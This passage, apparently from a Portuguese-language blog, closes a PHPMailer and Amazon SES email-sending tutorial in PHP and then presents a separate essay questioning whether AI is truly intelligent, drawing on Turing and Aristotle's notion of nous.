    public function sendEmail($fromEmail, $fromName, $to, $subject, $body)
    {
        try {
            // Configurações do remetente
            $this->mailer->setFrom($fromEmail, $fromName);
            $this->mailer->addAddress($to);

            // Cabeçalhos adicionais para resposta
            $this->mailer->addReplyTo($fromEmail, $fromName);
            $this->mailer->addCustomHeader('Return-Path', $fromEmail);

            $this->mailer->Subject = $subject;
            $this->mailer->Body = $body;
            $this->mailer->isHTML(true);

            // Enviar o e-mail
            $this->mailer->send();

            return "E-mail enviado com sucesso!";
        } catch (Exception $e) {
            return "Erro ao enviar e-mail: {$this->mailer->ErrorInfo}";
        }
    }
}

// Exemplo de uso
$emailService = new EmailService();
$result = $emailService->sendEmail('usuario@seudominio.com.br', 'Nome do Usuário', 'destinatario@example.com', 'Assunto do E-mail', 'Corpo do e-mail');
echo $result;

Usando o Amazon SES

O Amazon SES (Simple Email Service) é um serviço de e-mail baseado na nuvem que permite o envio de grandes volumes de e-mails de forma confiável e segura. Ele utiliza Access Key e Secret Key para autenticação, e você pode configurar domínios verificados para garantir que os e-mails enviados sejam considerados legítimos pelos provedores de e-mail.

Ao configurar o Amazon SES com PHPMailer, o processo de envio de e-mails se torna mais robusto, permitindo que você gerencie altas demandas de e-mails sem se preocupar com limitações comuns de servidores de e-mail tradicionais.

Passos para configurar o SES:

1. Verifique o domínio: Antes de enviar e-mails com o SES, é necessário verificar o domínio que você deseja utilizar.
2. Crie credenciais de acesso: No painel da AWS, crie um novo usuário com permissões específicas para o SES e gere as chaves de acesso (Access Key e Secret Key).
3. Configure o PHPMailer: Use as chaves geradas nas variáveis de ambiente e configure o PHPMailer conforme mostrado no exemplo acima.

Conclusão

Com essa configuração, você pode enviar e-mails de forma segura utilizando PHPMailer e variáveis de ambiente, além de integrar o Amazon SES para gerenciar grandes volumes de e-mails de forma escalável. Ao passar o e-mail do remetente como parâmetro, você permite que o usuário logado envie e-mails com seu próprio endereço, mantendo a personalização e autenticidade da comunicação.

Essa abordagem não só melhora a segurança das suas aplicações como também oferece flexibilidade na gestão de envios de e-mail em projetos PHP.

Gostou do conteúdo? Deixe seu comentário abaixo e compartilhe com outros desenvolvedores que podem se beneficiar deste tutorial!

Será que as máquinas podem pensar? Essa pergunta nos leva a refletir sobre a verdadeira natureza da inteligência artificial. O que realmente significa ser “inteligente”? Podemos realmente chamar, por exemplo, o ChatGPT de inteligente, ou ele é apenas uma ferramenta avançada para realizar tarefas específicas?

Como funciona uma Inteligência Artificial

Para começarmos, precisamos entender: Como funciona uma Inteligência Artificial?

A ideia de inteligência artificial remonta a Alan Turing, que se questionou: As máquinas podem pensar? Essa questão foi o ponto de partida para o desenvolvimento do que hoje chamamos de IA.

Ele formulou essa questão em seu artigo de 1950, “Computing Machinery and Intelligence”, onde introduziu o que agora conhecemos como o Teste de Turing. Esse teste oferece um critério para determinar se uma máquina é capaz de exibir inteligência equivalente ou indistinguível da humana. No Teste de Turing, um interrogador humano interage com um participante oculto (que pode ser uma máquina ou outro humano) através de uma interface baseada em texto. Se o interrogador não consegue consistentemente distinguir a máquina do humano, a máquina é considerada “pensante” segundo o critério de Turing.

Em essência, a inteligência artificial é a capacidade de um computador imitar funções humanas, como raciocinar, aprender, prever, resolver problemas e tomar decisões.

Para imitar a inteligência humana, as máquinas precisam aprender como nós aprendemos. Vamos explorar isso com um exemplo simples.

Imagine uma criança brincando com um brinquedo. Ela o solta várias vezes e aprende que ele sempre cai no chão. Esse processo de aprendizado é semelhante ao aprendizado de máquina, ou machine learning, que é uma parte essencial da IA.

Machine Learning: Como as Máquinas Aprendem a Pensar

Machine Learning, ou Aprendizado de Máquina, é uma técnica fascinante onde as máquinas aprendem a reconhecer padrões e fazer previsões, quase como se estivessem pensando. Imagine ensinar um computador a identificar um cachorro em uma foto; com Machine Learning, isso não só é possível, mas algo que já acontece todos os dias em nossos smartphones e redes sociais!

Por exemplo, quando você mostra a uma máquina várias fotos, algumas com cachorros e outras sem, ela aprende a reconhecer características comuns aos cachorros. Depois de aprender o suficiente, ela pode olhar para uma nova foto e dizer com confiança se há ou não um cachorro nela.

Mas não para por aí! Machine Learning também é usado para fazer previsões mais complexas, como:

• Previsão do Tempo: Ao analisar dados históricos do clima, a máquina pode prever se vai chover amanhã em sua cidade.
• Reconhecimento de Voz: Quando você fala com assistentes virtuais, como Siri ou Alexa, é Machine Learning que ajuda esses dispositivos a entenderem sua voz.
• Detecção de Fraudes: Bancos usam essas tecnologias para identificar atividades suspeitas e prevenir fraudes em suas contas.

Essa tecnologia não é apenas incrível; ela está transformando a maneira como vivemos, aprendemos e trabalhamos, tornando os dispositivos mais inteligentes e nossas vidas mais fáceis e segura

O que é Inteligência?

Definir inteligência é uma tarefa surpreendentemente complexa, pois varia amplamente dependendo de quem você pergunta e em qual campo estão falando. No entanto, se mergulharmos nas ideias dos filósofos, podemos descobrir nuances fascinantes sobre esse conceito.

Segundo a filosofia, especialmente nas reflexões de Aristóteles, a inteligência vai muito além de simplesmente “ser esperto”. Para ele, inteligência, ou “nous”, é uma manifestação profunda da alma racional, capaz de entender não apenas o que as coisas são, mas sua essência mais profunda. Vejamos como Aristóteles descreve algumas características dessa habilidade:

• Apreensão das Essências: Não é apenas sobre ver ou tocar; é sobre compreender o que faz uma coisa ser verdadeiramente o que é.
  • Imagine tentar descrever o que é um gato para alguém que nunca viu um. Você não se limitaria a falar sobre pelos e bigodes; você explicaria que gatos são ágeis, independentes e caçadores por natureza. Essa capacidade de capturar a “essência” de algo vai muito além da aparência superficial.
• Intelecto Ativo e Passivo: É a capacidade de receber informações (passivo) e sua habilidade de realmente entender e usar essas informações (ativo).
  • Pense no intelecto passivo como um aluno em uma aula, recebendo informações do professor. O intelecto ativo é quando esse aluno vai além, fazendo perguntas e relacionando as informações com o que já sabe, tornando o aprendizado mais profundo e significativo.
• Conhecimento dos Primeiros Princípios: Não se limita apenas a como sabemos coisas, mas por que essas coisas são verdadeiras.
  • É similar a aprender a jogar xadrez. Os primeiros princípios são as regras básicas (como cada peça se move). Compreendendo essas regras, você pode começar a desenvolver estratégias e entender jogadas mais complexas, construindo todo o seu conhecimento do jogo a partir dessa base.
• Consciência e Autoconsciência: Mais do que perceber o mundo, é entender seu lugar nele.
  • Isso pode ser visto quando você está em uma situação social desconfortável e reconhece seus próprios sentimentos de ansiedade. Essa autoconsciência permite que você ajuste seu comportamento, talvez tentando relaxar ou se envolver mais na conversa.
• Raciocínio e Contemplação: A habilidade de mergulhar profundamente em pensamentos complexos e meditar sobre as grandes questões da vida.
  • Imagine um filósofo ponderando sobre “o que é a felicidade?”. Essa não é uma questão prática do dia a dia, mas uma profunda contemplação que requer raciocínio lógico para explorar diferentes ideias e perspectivas, buscando uma compreensão mais profunda sobre como viver uma vida plena.

Em resumo, inteligência é a incrível capacidade de adquirir e aplicar conhecimentos e habilidades, explorando e compreendendo o mundo ao nosso redor e dentro de nós. É o motor por trás de cada descoberta, cada insight criativo e cada decisão sábia que tomamos.

Diferenças entre IA e Inteligência Humana

A questão de se as Inteligências Artificiais (IA) são realmente “inteligentes” depende da definição de inteligência que adotamos e da perspectiva sob a qual analisamos.

Comparando com a Inteligência Humana:

E com as característica da inteligência definida por Aristóteles com nous.

1. Apreensão das Essências: Enquanto seres humanos entendem a essência das coisas de maneira intuitiva e profunda, a IA trabalha principalmente com dados e padrões que foram programados ou aprendidos através de grandes quantidades de exemplos. Ela pode identificar um gato em imagens com alta precisão, mas não necessariamente “compreende” o que faz um gato ser um gato além de suas características visuais.
2. Intelecto Ativo e Passivo: A IA pode ser vista como tendo um intelecto passivo altamente desenvolvido, capaz de processar e armazenar mais informações do que os humanos. No entanto, seu intelecto ativo, a capacidade de gerar novas ideias ou conceitos de forma independente, ainda é limitado em comparação com a cognição humana.
3. Conhecimento dos Primeiros Princípios: A IA pode utilizar princípios básicos programados para tomar decisões em jogos ou resolver problemas específicos, mas sua capacidade de generalizar esses princípios em contextos não familiares é limitada sem intervenção humana ou ajustes no seu treinamento.
4. Consciência e Autoconsciência: Atualmente, as IAs não possuem consciência ou autoconsciência. Elas não têm experiências subjetivas e não podem refletir sobre si mesmas de maneira consciente como os seres humanos.
5. Raciocínio e Contemplação: As IAs podem simular formas de raciocínio, especialmente em áreas estruturadas como matemática ou lógica. Contudo, elas não “contemplam” no sentido humano de ponderar significados mais profundos ou questões existenciais.

Conclusão

Então, as IAs são realmente inteligentes? A resposta curta é: não exatamente. Embora as IAs possam processar enormes quantidades de dados e gerar respostas que parecem inteligentes, elas não têm entendimento real ou consciência.

As IAs baseiam suas respostas nas verdades universais fornecidas pela inteligência humana. Se 90% dos humanos acreditam que ovos fazem mal para a saúde, e apenas 10% dizem o contrário, a IA pode concluir que ovos são prejudiciais com base na quantidade de informações. Isso reflete um processo de análise de dados, não de raciocínio independente.

A inteligência artificial é uma ferramenta poderosa, mas é a inteligência humana que a guia, instrui e interpreta seus resultados. A verdadeira inteligência reside na nossa capacidade de entender, raciocinar e criar com propósito e intenção.

Muito obrigado pela leitura, e não se esqueça de curtir o post, se inscrever na newsletter e deixar um comentário abaixo. Até a próxima!